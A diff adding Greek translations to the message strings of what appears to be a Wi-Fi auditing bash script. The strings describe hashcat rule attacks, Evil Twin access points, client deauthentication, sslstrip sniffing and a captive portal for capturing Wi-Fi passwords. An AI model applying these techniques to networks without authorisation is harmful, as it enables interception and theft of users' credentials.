+2246,7 @@ function language_strings() { arr["catalan",235]="¿Vols desar el fitxer de trofeu amb la clau desencriptada? "${normal_color}"[y/n]" arr["portuguese",235]="$pending_of_translation Você quer salvar o troféu arquivo com a senha descriptografado? "${normal_color}"[y/n]" arr["russian",235]="Вы хотите сохранить трофейный файл с расшифрованным паролем? "${normal_color}"[y/n]" + arr["greek",235]="Θέλετε να αποθηκεύσετε το αρχείο τρόπαιο με το αποκρυπτογραφημένο κλειδί? "${normal_color}"[y/n]" arr["english",236]="Hashcat trophy file generated successfully at ["${normal_color}"$potenteredpath"${blue_color}"]" arr["spanish",236]="Fichero de trofeo hashcat generado con éxito en ["${normal_color}"$potenteredpath"${blue_color}"]" @@ -1998,6 +2254,7 @@ function language_strings() { arr["catalan",236]="Fitxer de trofeu hashcat generat amb èxit a ["${normal_color}"$potenteredpath"${blue_color}"]" arr["portuguese",236]="$pending_of_translation Arquivo troféu Hashcat gerado com sucesso ["${normal_color}"$potenteredpath"${blue_color}"]" arr["russian",236]="Трофейный файл Hashcat был успешно сгенерирован в ["${normal_color}"$potenteredpath"${blue_color}"]" + arr["greek",236]="Το hashcat αρχείο τρόπαιο δημιουργήθηκε επιτυχώς ["${normal_color}"$potenteredpath"${blue_color}"]" arr["english",237]="5. Lowercase + uppercase + numeric + symbol chars" arr["spanish",237]="5. Caracteres en minúsculas + mayúsculas + numéricos + símbolos" @@ -2005,6 +2262,7 @@ function language_strings() { arr["catalan",237]="5. Caràcters en minúscules + majúscules + numèrics + símbols" arr["portuguese",237]="$pending_of_translation 5. Caracteres em minúsculas + maiúsculas + numéricos + símbolos" arr["russian",237]="5. Буквы нижнего регистра + плюс верхнего регистра + цифры + символы" + arr["greek",237]="5. Πεζά + κεφαλαία + αριθμοί + σύμβολα" arr["english",238]="Charset selection menu" arr["spanish",238]="Menú de selección de juego de caracteres" @@ -2012,6 +2270,7 @@ function language_strings() { arr["catalan",238]="Menú de selecció de joc de caràcters" arr["portuguese",238]="$pending_of_translation Charset menu de seleção" arr["russian",238]="Меню выбора набора символов" + arr["greek",238]="Μενού επιλογής συμβολοσειράς" arr["english",239]="You already have selected a rules file during this session ["${normal_color}"$rules"${blue_color}"]" arr["spanish",239]="Ya tienes seleccionado un fichero de reglas en esta sesión ["${normal_color}"$rules"${blue_color}"]" @@ -2019,6 +2278,7 @@ function language_strings() { arr["catalan",239]="Ja tens seleccionat un fitxer de regles en aquesta sessió ["${normal_color}"$rules"${blue_color}"]" arr["portuguese",239]="$pending_of_translation Você selecionou um arquivo de regras nesta sessão ["${normal_color}"$rules"${blue_color}"]" arr["russian",239]="Во время этой сессии вы уже выбрали файл с правилами ["${normal_color}"$rules"${blue_color}"]" + arr["greek",239]="Έχετε ήδη επιλέξει αρχείο κανόνων κατά τη διάρκεια τησ συνεδρίας ["${normal_color}"$rules"${blue_color}"]" arr["english",240]="Do you want to use this already selected rules file? "${normal_color}"[y/n]" arr["spanish",240]="¿Quieres utilizar este fichero de reglas ya seleccionado? "${normal_color}"[y/n]" @@ -2026,13 +2286,15 @@ function language_strings() { arr["catalan",240]="¿Vols fer servir aquest fitxer de regles ja seleccionat? "${normal_color}"[y/n]" arr["portuguese",240]="$pending_of_translation Você quer usar esse arquivo regras já selecionados? "${normal_color}"[y/n]" arr["russian",240]="Вы хотите использовать этот уже выбранный файл правил? "${normal_color}"[y/n]" + arr["greek",240]="Θέλετε να χρησιμοποιήσετε το ήδη επιλεγμένο αρχείο κανόνων? "${normal_color}"[y/n]" arr["english",241]="The path to the rules file is valid. Script can continue..." arr["spanish",241]="La ruta al fichero de reglas es válida. El script puede continuar..." arr["french",241]="Le chemin vers le fichier règles est valide. Le script peut continuer..." arr["catalan",241]="La ruta cap al fitxer de regles és vàlida. El script pot continuar..." arr["portuguese",241]="$pending_of_translation O caminho para o arquivo de regras é válido. O script pode continuar..." - arr["russian",241]="Путь до файла с правилами верный. Скрипт может продолжать…" + arr["russian",241]="Путь до файла с правилами верный. Скрипт может продолжать..." + arr["greek",241]="Το μονοπάτι για το αρχείο κανόνων είναι έγκυρο. Το script μπορεί να συνεχίσει..." arr["english",242]="Enter the path of a rules file :" arr["spanish",242]="Introduce la ruta de un fichero de reglas :" @@ -2040,6 +2302,7 @@ function language_strings() { arr["catalan",242]="Introdueix la ruta d'un fitxer de regles :" arr["portuguese",242]="$pending_of_translation Digite o caminho para um arquivo de regras :" arr["russian",242]="Введите путь файла с правилами :" + arr["greek",242]="Εισάγετε το μονοπάτι για ένα αρχείο κανόνων :" arr["english",243]="Selected rules file: "${pink_color}"$rules"${normal_color} arr["spanish",243]="Fichero de reglas seleccionado: "${pink_color}"$rules"${normal_color} @@ -2047,6 +2310,7 @@ function language_strings() { arr["catalan",243]="Fitxer de regles seleccionat: "${pink_color}"$rules"${normal_color} arr["portuguese",243]="$pending_of_translation Crquivo regras selecionadas: "${pink_color}"$rules"${normal_color} arr["russian",243]="Выбранный файл правил: "${pink_color}"$rules"${normal_color} + arr["greek",243]="Επιλεγμένο αρχείο κανόνων: "${pink_color}"$rules"${normal_color} arr["english",244]="Rule based attacks change the words of the dictionary list according to the rules written in the rules file itself. They are very useful. Some distros has predefined rule files (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["spanish",244]="Los ataques basados en reglas modifican las palabras de la lista del diccionario según las reglas escritas en el propio fichero de reglas. Son muy útiles. Algunas distros ya traen ficheros predefinidos de reglas (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" @@ -2054,6 +2318,7 @@ function language_strings() { arr["catalan",244]="Els atacs basats en regles modifiquen les paraules de la llista del diccionari segons les regles escrites en el propi fitxer de regles. Són molt útils. Algunes distros ja porten fitxers de regles predefinits (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["portuguese",244]="$pending_of_translation Ataques baseados em regras mudaram as palavras da lista de dicionários de acordo com as regras escritas nas regras de arquivo em si. Eles são muito úteis. Algumas distros já regras predefinidas trazer arquivos (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["russian",244]="Атака, основанная на правилах, изменяет слова из словаря в соответствии с правилами, написанными в самом файле правил. Они очень полезны. Некоторые дистрибутивы имеют предустановленные правила (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" + arr["greek",244]="Οι επιθέσεις κανόνων αλλάζουν τις λέξεις του λεξικού ανάλογα με τους κανόνες που έχουν γραφτεί στο αρχείο κανόνων. Είναι πολύ χρήσιμοι. Κάποιες διανομές έχουν προκαθορισμένα αρχεία κανόνων (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["english",245]="// "${yellow_color}"Chipset:"${normal_color}" $unknown_chipsetvar" arr["spanish",245]="// "${yellow_color}"Chipset:"${normal_color}" $unknown_chipsetvar" @@ -2061,6 +2326,7 @@ function language_strings() { arr["catalan",245]="// "${yellow_color}"Chipset:"${normal_color}" $unknown_chipsetvar" arr["portuguese",245]="// "${yellow_color}"Chipset:"${normal_color}" $unknown_chipsetvar" arr["russian",245]="// "${yellow_color}"Chipset:"${normal_color}" $unknown_chipsetvar" + arr["greek",245]="// "${yellow_color}"Chipset:"${normal_color}" $unknown_chipsetvar" arr["english",246]="Every time you see a text with the prefix "${cyan_color}"$pending_of_translation"${pink_color}" acronym for \"Pending of Translation\", means the translation has been automatically generated and is still pending of review" arr["spanish",246]="Cada vez que veas un texto con el prefijo "${cyan_color}"$pending_of_translation"${pink_color}" acrónimo de \"Pending of Translation\", significa que su traducción ha sido generada automáticamente y que aún está pendiente de revisión" @@ -2068,6 +2334,7 @@ function language_strings() { arr["catalan",246]="Cada vegada que vegis un text amb el prefix "${cyan_color}"$pending_of_translation"${pink_color}" acrònim de \"Pending of Translation\", vol dir que la traducció ha estat generada automàticament i encara està pendent de revisió" arr["portuguese",246]="$pending_of_translation Cada vez que você vê um texto com o prefixo "${cyan_color}"$pending_of_translation"${pink_color}" acrônimo para \"Pending of Translation\" significa que a tradução foi gerado automaticamente e ainda está pendente de revisão" arr["russian",246]="Каждый раз, когда вы видитте текст с префиксом "${cyan_color}"$pending_of_translation"${pink_color}" (акроним для \"Ожидает перевода\"), это означает, что перевод был сгенерирован автоматически и ещё ожидает проверки" + arr["greek",246]="Κάθε φορά που θα βλέπετε κείμενο με πρόθεμα "${cyan_color}"$pending_of_translation"${pink_color}" ακρωνύμιο για \"Pending of Translation\", σημαίνει πως η μετάφραση δημιουργήθηκε αυτόματα και αναμένεται κριτική" arr["english",247]="Despite having all essential tools installed, your system uses airmon-zc instead of airmon-ng. In order to work properly you need to install ethtool and you don't have it right now. Please, install it and launch the script again" arr["spanish",247]="A pesar de tener todas las herramientas esenciales instaladas, tu sistema usa airmon-zc en lugar de airmon-ng. Para poder funcionar necesitas tener instalado ethtool y tú no lo tienes en este momento. Por favor, instálalo y vuelve a lanzar el script" @@ -2075,6 +2342,7 @@ function language_strings() { arr["catalan",247]="Tot i tenir totes les eines essencials instal·lades, el teu sistema fa servir airmon-zc en lloc del airmon-ng. Per poder funcionar necessites tenir instal·lat ethtool i tu no el tens en aquest moment. Si us plau, instal·la-ho i torna a executar el script" arr["portuguese",247]="$pending_of_translation Apesar de ter todas as ferramentas essenciais instalado, o sistema utiliza airmon-zc vez de airmon-ng. Para funcionar você precisa instalar ethtool e você não tem neste momento. Por favor, instale e execute o script novamente" arr["russian",247]="Не смотря на то, что все базовые инструменты установлены, система использует airmon-zc вместо airmon-ng. Чтобы работать должным образом, должен быть установлен пакет ethtool, а в данный момент он отсутствует. Пожалуйста, установите его и запустите скрипт снова" + arr["greek",247]="Παρά του ότι είναι εγκατεστημένα όλα τα απραίτητα εργαλεία, το σύστημά σας χρησιμοποιεί το airmon-zc αντί το airmon-ng. Για να λειτουργήσει σωστά πρέπει να εγκαταστήσετε το ethtool το οποίο δεν το έχετε αυτή τη στιγμή. Παρακαλώ, εγκαταστήστε το και ξανανοίξτε το script" arr["english",248]="Language changed to Portuguese" arr["spanish",248]="Idioma cambiado a Portugués" @@ -2082,6 +2350,7 @@ function language_strings() { arr["catalan",248]="Idioma canviat a Portuguès" arr["portuguese",248]="$pending_of_translation Idioma alterado para Português" arr["russian",248]="Язык изменён на португальский" + arr["greek",248]="Η γλώσσα άλλαξε σε Πορτογαλικά" arr["english",249]="5. Portuguese" arr["spanish",249]="5. Portugués" @@ -2089,6 +2358,7 @@ function language_strings() { arr["catalan",249]="5. Portuguès" arr["portuguese",249]="5. Português" arr["russian",249]="5. Португальский" + arr["greek",249]="5. Πορτογαλικά" arr["english",250]="If you see any bad translation or just want "${cyan_color}"$pending_of_translation"${pink_color}" marks to dissapear, write me to $mail to collaborate with translations" arr["spanish",250]="Si ves alguna traducción incorrecta o quieres que desparezcan las marcas "${cyan_color}"$pending_of_translation"${pink_color}", escríbeme a $mail para colaborar con las traducciones" @@ -2096,6 +2366,7 @@ function language_strings() { arr["catalan",250]="Si veus alguna traducció incorrecta o vols que desapareguin les marques "${cyan_color}"$pending_of_translation"${pink_color}", escriu-me a $mail per col·laborar amb les traduccions" arr["portuguese",250]="$pending_of_translation Se você ver qualquer erro de tradução ou quer marcas "${cyan_color}"$pending_of_translation"${pink_color}", escreva para $mail para colaborar com traduções desaparecer" arr["russian",250]="Если вы видите плохой перевод или просто хотите снять пометку "${cyan_color}"$pending_of_translation"${pink_color}" напишите мне на $mail для сотрудничества с переводчиками" + arr["greek",250]="Αν δείτε κάποια κακή μετάφραση ή απλά θέλετε τα σημάδια "${cyan_color}"$pending_of_translation"${pink_color}" να εξαφανιστούν, στείλτε μου στο $mail για να συνεργαστούμε με τις μεταφράσεις" arr["english",251]="You have chosen the same language that was selected. No changes will be done" arr["spanish",251]="Has elegido el mismo idioma que estaba seleccionado. No se realizarán cambios" @@ -2103,6 +2374,7 @@ function language_strings() { arr["catalan",251]="Has triat el mateix idioma que estava seleccionat. No es realitzaran canvis" arr["portuguese",251]="$pending_of_translation Você escolheu o mesmo idioma que foi selecionado. Nenhuma alteração será feita" arr["russian",251]="Вы выбрали такой же язык, какой и был. Никаких изменений не будет сделано" + arr["greek",251]="Επιλέξατε την ίδια γλώσσα που ήταν ήδη επιλεγμένη. Δεν θα γίνει καμία αλλαγή" arr["english",252]="7. Evil Twin attacks menu" arr["spanish",252]="7. Menú de ataques Evil Twin" @@ -2110,6 +2382,7 @@ function language_strings() { arr["catalan",252]="7. Menú d'atacs Evil Twin" arr["portuguese",252]="$pending_of_translation 7. Ataques Evil Twin menu" arr["russian",252]="7. Меню атак Злой Двойник" + arr["greek",252]="7. Μενού επιθέσεων Evil Twin" arr["english",253]="Evil Twin attacks menu" arr["spanish",253]="Menú de ataques Evil Twin" @@ -2117,6 +2390,7 @@ function language_strings() { arr["catalan",253]="Menú d'atacs Evil Twin" arr["portuguese",253]="$pending_of_translation Ataques Evil Twin menu" arr["russian",253]="Меню атак Злой Двойник" + arr["greek",253]="Μενού επιθέσεων Evil Twin" arr["english",254]="In order to use the Evil Twin just AP and sniffing attacks, you must have another one interface in addition to the wifi network interface will become the AP, which will provide internet access to other clients on the network. This doesn't need to be wifi, can be ethernet" arr["spanish",254]="Para utilizar los ataques de Evil Twin de solo AP y con sniffing, deberás tener además de la interfaz wifi que se transformará en el AP, otra interfaz de red con acceso a internet para proporcionar este servicio a otros clientes de la red. Esta no hace falta que sea wifi, puede ser ethernet" @@ -2124,6 +2398,7 @@ function language_strings() { arr["catalan",254]="Per utilitzar els atacs d'Evil Twin només amb AP i sniffing, hauràs de tenir a més de la interfície wifi que es transformarà en el AP, una altre interfície de xarxa amb accés a internet per proporcionar aquest servei a altres clients de la xarxa. Aquesta no cal que sigui wifi, pot ser ethernet" arr["portuguese",254]="$pending_of_translation Para usar ataques Evil Twin única AP e sniffing, você deve ter além da interface wifi que se tornará a AP, uma outra interface de rede com acesso à internet para fornecer este serviço a outros clientes da rede. Isso não precisa ser wifi, pode ser ethernet" arr["russian",254]="Чтобы использовать Злого Двойника точки доступа и атаки сниффинга, вы должны иметь другой интерфейс в дополнение к сетевому интерфейсу wifi, который станет ТД, которая будет предоставлять доступ в Интернет другим клиентам сети. Ей не обязательно быть wifi, достаточно ethernet" + arr["greek",254]="Για να χρησιμοποιήσετε τις επιθέσεις sniffing και Evil Twin με AP, πρέπει να έχετε άλλη μία διεπαφή παράλληλα με την διεπαφή δικτύου wifi που θα γίνει AP, η οποία θα παρέχει πρόσβαση στο διαδίκτυο στους άλλες χρήστες του δικτύου. Δεν χρειάζεται να είναι wifi, μπορεί να έιναι και ethernet" arr["english",255]="without sniffing, just AP" arr["spanish",255]="sin sniffing, solo AP" @@ -2131,6 +2406,7 @@ function language_strings() { arr["catalan",255]="sense sniffing, només AP" arr["portuguese",255]="$pending_of_translation sem sniffing, única AP" arr["russian",255]="без сниффинга, просто ТД" + arr["greek",255]="χωρίς sniffing, μόνο AP" arr["english",256]="5. Evil Twin attack just AP" arr["spanish",256]="5. Ataque Evil Twin solo AP" @@ -2138,6 +2414,7 @@ function language_strings() { arr["catalan",256]="5. Atac Evil Twin només AP" arr["portuguese",256]="$pending_of_translation 5. Ataque Evil Twin só AP" arr["russian",256]="5. Атака Злой Двойник, только ТД" + arr["greek",256]="5. Επίθεση Evil Twin μόνο AP" arr["english",257]="with sniffing" arr["spanish",257]="con sniffing" @@ -2145,6 +2422,7 @@ function language_strings() { arr["catalan",257]="amb sniffing" arr["portuguese",257]="$pending_of_translation com sniffing" arr["russian",257]="со сниффингом" + arr["greek",257]="με sniffing" arr["english",258]="If you use the attack without sniffing, just AP, you'll can use any external to script sniffer software" arr["spanish",258]="Si utilizas el ataque sin sniffing, solo AP, podrás usar cualquier programa sniffer externo al script" @@ -2152,13 +2430,15 @@ function language_strings() { arr["catalan",258]="Si utilitzes l'atac sense sniffing, només AP, podràs fer servir qualsevol programa sniffer extern a l'script" arr["portuguese",258]="$pending_of_translation Se você usar o ataque sem sniffing, apenas a AP, você pode usar qualquer programa sniffer externo ao script" arr["russian",258]="Если вы используете атаку без сниффинга, только ТД, то вы сможете использовать любое внешнее ПО для сниффинга" + arr["greek",258]="Αν χρησιμοποιήσετε την επίθεση χωρίς sniffing, μόνο AP, θα μπορείτε να χρησιμοποιήσετε οποιοδήποτε εξωτερίκό sniffer script" arr["english",259]="6. Evil Twin AP attack with sniffing" arr["spanish",259]="6. Ataque Evil Twin AP con sniffing" arr["french",259]="6. Attaque Evil Twin avec Rogue AP et capture des données" arr["catalan",259]="6. Atac Evil Twin AP amb sniffing" arr["portuguese",259]="$pending_of_translation 6. Ataque Evil Twin AP com sniffing" - arr["russian",259]="6. Атака Злой Двойник ТД со сниффингом " + arr["russian",259]="6. Атака Злой Двойник ТД со сниффингом" + arr["greek",259]="6. Επίθεση Evil Twin AP με sniffing" arr["english",260]="9. Return to main menu" arr["spanish",260]="9. Volver al menú principal" @@ -2166,6 +2446,7 @@ function language_strings() { arr["catalan",260]="9. Tornar al menú principal" arr["portuguese",260]="$pending_of_translation 9. Volte ao menu principal" arr["russian",260]="9. Возврат в главное меню" + arr["greek",260]="9. Επιστροφή στο αρχικό μενού" arr["english",261]="7. Evil Twin AP attack with sniffing and sslstrip" arr["spanish",261]="7. Ataque Evil Twin AP con sniffing y sslstrip" @@ -2173,6 +2454,7 @@ function language_strings() { arr["catalan",261]="7. Atac Evil Twin AP amb sniffing i sslstrip" arr["portuguese",261]="$pending_of_translation 7. Ataque Evil Twin AP com sniffing e sslstrip" arr["russian",261]="7. Атака Злой Двойник ТД со сниффингом и sslstrip" + arr["greek",261]="7. Επίθεση Evil Twin Ap με sniffing και sslstrip" arr["english",262]="without sniffing, captive portal" arr["spanish",262]="sin sniffing, portal cautivo" @@ -2180,6 +2462,7 @@ function language_strings() { arr["catalan",262]="sense sniffing, portal captiu" arr["portuguese",262]="$pending_of_translation sem sniffing, portal cativo" arr["russian",262]="без сниффинга, перехватывающий портал" + arr["greek",262]="χωρίς sniffing, αιχμαλωσία πύλης" arr["english",263]="8. Evil Twin AP attack with captive portal" arr["spanish",263]="8. Ataque Evil Twin AP con portal cautivo" @@ -2187,6 +2470,7 @@ function language_strings() { arr["catalan",263]="8. Atac Evil Twin AP amb portal captiu" arr["portuguese",263]="$pending_of_translation 8. Ataque Evil Twin AP com portal cativo" arr["russian",263]="8. Атака Злой Двойник ТД с перехватывающим порталом" + arr["greek",263]="8. Επίθεση Evil Twin Ap με αιχμαλωσία πύλης" arr["english",264]="The captive portal attack tries to one of the network clients provide us the password for the wifi network by entering it on our portal" arr["spanish",264]="El ataque del portal cautivo intentará conseguir que uno de los clientes de la red nos proporcione la contraseña de la red wifi introduciéndola en nuestro portal" @@ -2194,6 +2478,7 @@ function language_strings() { arr["catalan",264]="L'atac de portal captiu intenta aconseguir que un dels clients de la xarxa ens proporcioni la contrasenya de la xarxa wifi introduint-la al nostre portal" arr["portuguese",264]="$pending_of_translation O portal cativo ataque tenta fazer com que um dos clientes da rede nos fornecer a senha para a rede sem fio digitando-o em nosso site" arr["russian",264]="Атака с перехватывающим порталом заключается в том, что мы ждём когда кто-то из пользователей введёт верный пароль от Wi-Fi на веб-странице, которую мы ему показываем" + arr["greek",264]="Η επίθεση με αιχμαλωσία πύλης κάνει έναν από τους χρήστες του δικτύου να μας παρέχει τον κωδικό του δικτύου wifi βάζοντάς τον στην πύλη" arr["english",265]="Evil Twin deauth" arr["spanish",265]="Desautenticación para Evil Twin" @@ -2201,6 +2486,7 @@ function language_strings() { arr["catalan",265]="Desautenticació per Evil Twin" arr["portuguese",265]="$pending_of_translation Deauth para Evil Twin" arr["russian",265]="Деаутентификация для Злого Двойника" + arr["greek",265]="Evil Twin deauth" arr["english",266]="4. Return to Evil Twin attacks menu" arr["spanish",266]="4. Volver al menú de ataques Evil Twin" @@ -2208,6 +2494,7 @@ function language_strings() { arr["catalan",266]="4. Tornar al menú d'atacs Evil Twin" arr["portuguese",266]="$pending_of_translation 4. Voltar ao menu ataques Evil Twin" arr["russian",266]="4. Вернуться в меню атак Злой Двойник" + arr["greek",266]="4. Επιστροφή στο μενού επιθέσεων Evil Twin" arr["english",267]="If you can't deauth clients from an AP using an attack, choose another one :)" arr["spanish",267]="Si no consigues desautenticar a los clientes de un AP con un ataque, elige otro :)" @@ -2215,6 +2502,7 @@ function language_strings() { arr["catalan",267]="Si no aconsegueixes desautenticar als clients d'un AP amb un atac, tria un altre :)" arr["portuguese",267]="$pending_of_translation Se você não pode clientes de-autenticar um AP com um ataque, escolha outro :)" arr["russian",267]="Если вы не можете деаутентифицировать клиентов от ТД используя эту атаку, выберите другую :)" + arr["greek",267]="Αν δεν μπορείτε να κάνετε deauth τους χρήστες από ένα AP χρησιμοποιώντας μία επίθεση, διαλέξτε κάποια άλλη :)" arr["english",268]="With this attack, we'll try to deauth clients from the legitimate AP. Hopefully they'll reconnect to our Evil Twin AP" arr["spanish",268]="Con este ataque, intentaremos desautenticar a los clientes del AP legítimo. Con suerte reconectarán pero a nuestro Evil Twin AP" @@ -2222,6 +2510,7 @@ function language_strings() { arr["catalan",268]="Amb aquest atac, intentarem desautenticar als clients del AP legítim. Amb sort reconectarán però al nostre Evil Twin AP" arr["portuguese",268]="$pending_of_translation Com este ataque, tentamos clientes de autenticação de legítima do AP. Esperemos que eles se reconectar mas o nosso Evil Twin AP" arr["russian",268]="Этой атакой мы попытаемся деаутентифицировать клиентов от легитимной ТД. В надежде, что они переподключатся к нашему Злому Двойнику ТД" + arr["greek",268]="Με αυτήν την επίθεση, θα προσπαθήσουμε να κάνουμε deauth τους χρήστες από το αρχικό AP. Ας ελπίσουμε ότι θα επανασυνδεθούν στο Evil Twin AP μας" arr["english",269]="To perform an Evil Twin attack you'll need to be very close to the target AP or have a very powerful wifi antenna. Your signal must reach clients equally strong or more than the legitimate AP" arr["spanish",269]="Para realizar un ataque Evil Twin necesitarás estar muy cerca del AP objetivo o tener una antena wifi muy potente. Tu señal ha de llegar a los clientes igual de fuerte o más que la del AP legítimo" @@ -2229,6 +2518,7 @@ function language_strings() { arr["catalan",269]="Per realitzar un atac Evil Twin et caldrà estar molt a prop de l'AP objectiu o tenir una antena wifi molt potent. El teu senyal ha d'arribar als clients igual de fort o més que la de l'AP legítim" arr["portuguese",269]="$pending_of_translation Para fazer um ataque Evil Twin precisa estar perto da AP-alvo ou ter uma antena wifi muito poderosa. Seu sinal deve atingir os clientes igualmente forte ou mais do que o legítimo AP" arr["russian",269]="Для выполнения атаки злой двойник, вы должны быть очень близко к целевой ТД или иметь очень мощную Wi-Fi антенну. Ваш сигнал должен достигать клиентов с такой же силой, или даже сильнее, чем легитимная ТД" + arr["greek",269]="Για να πραγματοποιηθεί μία επίθεση Evil Twin θα πρέπει να είστε αρκετά κοντά στο AP-στόχο ή να έχετε μία πολύ ισχυρή κεραία. Το σήμα πρέπει να φτάνει στους χρήστες το ίδιο ή περισσότερο από το αρχικό AP" arr["english",270]="Evil Twin attack just AP" arr["spanish",270]="Ataque Evil Twin solo AP" @@ -2236,6 +2526,7 @@ function language_strings() { arr["catalan",270]="Atac Evil Twin només AP" arr["portuguese",270]="$pending_of_translation Ataque Evil Twin só AP" arr["russian",270]="Атака Злой Двойник, просто ТД" + arr["greek",270]="Επίθεση Evil Twin μόνο AP" arr["english",271]="Selected BSSID: "${pink_color}"None"${normal_color} arr["spanish",271]="BSSID seleccionado: "${pink_color}"Ninguno"${normal_color} @@ -2243,6 +2534,7 @@ function language_strings() { arr["catalan",271]="BSSID seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",271]="$pending_of_translation BSSID selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",271]="Выбранная BSSID: "${pink_color}"None"${normal_color} + arr["greek",271]="Επιλεγμένο BSSID: "${pink_color}"Κανένα"${normal_color} arr["english",272]="Deauthentication chosen method: "${pink_color}"$et_dos_attack"${normal_color} arr["spanish",272]="Método elegido de desautenticación: "${pink_color}"$et_dos_attack"${normal_color} @@ -2250,6 +2542,7 @@ function language_strings() { arr["catalan",272]="Mètode elegit d'desautenticació: "${pink_color}"$et_dos_attack"${normal_color} arr["portuguese",272]="$pending_of_translation Método escolhido deauth: "${pink_color}"$et_dos_attack"${normal_color} arr["russian",272]="Выбор метода деаутентификации: "${pink_color}"$et_dos_attack"${normal_color} + arr["greek",272]="Επιλεγμένη μέθοδος για deauthentication: "${pink_color}"$et_dos_attack"${normal_color} arr["english",273]="Selected channel: "${pink_color}"None"${normal_color} arr["spanish",273]="Canal seleccionado: "${pink_color}"Ninguno"${normal_color} @@ -2257,6 +2550,7 @@ function language_strings() { arr["catalan",273]="Canal seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",273]="$pending_of_translation Canal selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",273]="Выбранный канал: "${pink_color}"None"${normal_color} + arr["greek",273]="Επιλεγμένο κανάλι: "${pink_color}"Κανένα"${normal_color} arr["english",274]="Selected ESSID: "${pink_color}"None"${normal_color} arr["spanish",274]="ESSID seleccionado: "${pink_color}"Ninguno"${normal_color} @@ -2264,6 +2558,7 @@ function language_strings() { arr["catalan",274]="ESSID seleccionat: "${pink_color}"Ningú"${normal_color} arr["portuguese",274]="$pending_of_translation ESSID selecionado: "${pink_color}"Nenhum"${normal_color} arr["russian",274]="Выбранная ESSID: "${pink_color}"None"${normal_color} + arr["greek",274]="Επιλεγμένο ESSID: "${pink_color}"Κανένα"${normal_color} arr["english",275]="In addition to the software requirements that already meet if you get here, you need to provide target AP data to carry out the attack" arr["spanish",275]="Además de los requisitos de software, que ya cumples si has llegado hasta aquí, es necesario proporcionar los datos del AP objetivo para llevar a cabo el ataque" @@ -2271,6 +2566,7 @@ function language_strings() { arr["catalan",275]="A més dels requisits de software, que ja compleixes si has arribat fins aquí, cal proporcionar les dades de l'AP objectiu per dur a terme l'atac" arr["portuguese",275]="$pending_of_translation Além dos requisitos de software que já se encontram, se você chegar aqui, você precisa fornecer dados objetivos AP para realizar o ataque" arr["russian",275]="Если вы попали сюда, то в дополнении к требованиям к программному обеспечению, которым вы уже соответствуете, вам нужно обеспечить Интернет подключения вашей ТД для выполнения атаки" + arr["greek",275]="Εκτός από τις απαιτήσεις του λογισμικού οι οποίες πληρούνται αν έχετε φτάσει έως εδώ, χρειάζεται να παρέχετε δεδομένα AP-στόχου για να πραγματοποιηθεί η επίθεση" arr["english",276]="On top of this screen you can see all that is needed to perform the attack. If any of the parameters has no value, you can enter it manually, or you can go back to select a target and then return here" arr["spanish",276]="En la parte superior de esta pantalla puedes ver todo lo que hace falta para realizar el ataque. Si alguno de los parámetros no tiene valor, puedes introducirlo manualmente, o puedes retroceder para seleccionar un objetivo y regresar aquí" @@ -2278,6 +2574,7 @@ function language_strings() { arr["catalan",276]="A la part superior d'aquesta pantalla pots veure tot el que cal per realitzar l'atac. Si algun dels paràmetres no té valor, pots introduir-lo manualment, o pots retrocedir per a seleccionar un objectiu i tornar aquí" arr["portuguese",276]="$pending_of_translation No topo da tela você pode ver tudo o que é necessário para realizar o ataque. Se qualquer um dos parâmetros não tem nenhum valor, pode introduzi-lo manualmente, ou você pode voltar para selecionar um alvo e voltar aqui" arr["russian",276]="Наверху экрана вы можете увидеть всё, что вам нужно для выполнения этой атаки. Если какие-либо из этих параметров не имеют значения, вы можете ввести их вручную или вы можете вернуться назад для выбора цели, а затем вернуться сюда" + arr["greek",276]="Πάνω από αυτή την οθόνη μπορείτε να δείτε ό,τι χρειάζεται για να εκτελεστεί η επίθεση. Αν κάποια παραμέτρος δεν έχει τιμή, μπορείτε να την εισάγετε χειροκίνητα, ή μπορείτε να πάτε πίσω για να επιλέξετε εαν στόχο και μετά να επιστρέψετε εδώ" arr["english",277]="Do you want to continue? "${normal_color}"[y/n]" arr["spanish",277]="¿Deseas continuar? "${normal_color}"[y/n]" @@ -2285,6 +2582,7 @@ function language_strings() { arr["catalan",277]="¿Vols continuar? "${normal_color}"[y/n]" arr["portuguese",277]="$pending_of_translation Você deseja continuar? "${normal_color}"[y/n]" arr["russian",277]="Вы хотите продолжить? "${normal_color}"[y/n]" + arr["greek",277]="Θέλετε να συνεχίσετε? "${normal_color}"[y/n]" arr["english",278]="Deauthentication chosen method: "${pink_color}"None"${normal_color} arr["spanish",278]="Método elegido de desautenticación: "${pink_color}"Ninguno"${normal_color} @@ -2292,6 +2590,7 @@ function language_strings() { arr["catalan",278]="Mètode elegit d'desautenticació: "${pink_color}"Ningú"${normal_color} arr["portuguese",278]="$pending_of_translation Método escolhido deauth: "${pink_color}"Nenhum"${normal_color} arr["russian",278]="Выбор метода деаутентификации: "${pink_color}"None"${normal_color} + arr["greek",278]="Επιλεγμένη μέθοδος deauthentication: "${pink_color}"Καμία"${normal_color} arr["english",279]="Select another interface with internet access :" arr["spanish",279]="Selecciona otra interfaz que tenga acceso a internet :" @@ -2299,6 +2598,7 @@ function language_strings() { arr["catalan",279]="Selecciona una altra interfície que tingui accés a internet :" arr["portuguese",279]="$pending_of_translation Selecione outra interface que tem acesso à internet :" arr["russian",279]="Выбор другого интерфейса с Интернет доступом :" + arr["greek",279]="Επιλέξτε άλλη διεπαφή με προσβαση στο διαδίκτυο :" arr["english",280]="On this screen, it's supposed an additional interface to provide internet access is chosen, but you don't have anyone at this moment" arr["spanish",280]="En esta pantalla, se supone que deberías elegir otro interfaz adicional para proporcionar acceso a internet, pero no dispones de ninguno en este momento" @@ -2306,6 +2606,7 @@ function language_strings() { arr["catalan",280]="En aquesta pantalla, se suposa que hauries de triar un altre interfície addicional per a proporcionar accés a internet, però no disposes de cap en aquest moment" arr["portuguese",280]="$pending_of_translation Nesta tela, você deveria escolher uma interface adicional para fornecer acesso à internet, mas não têm um neste momento" 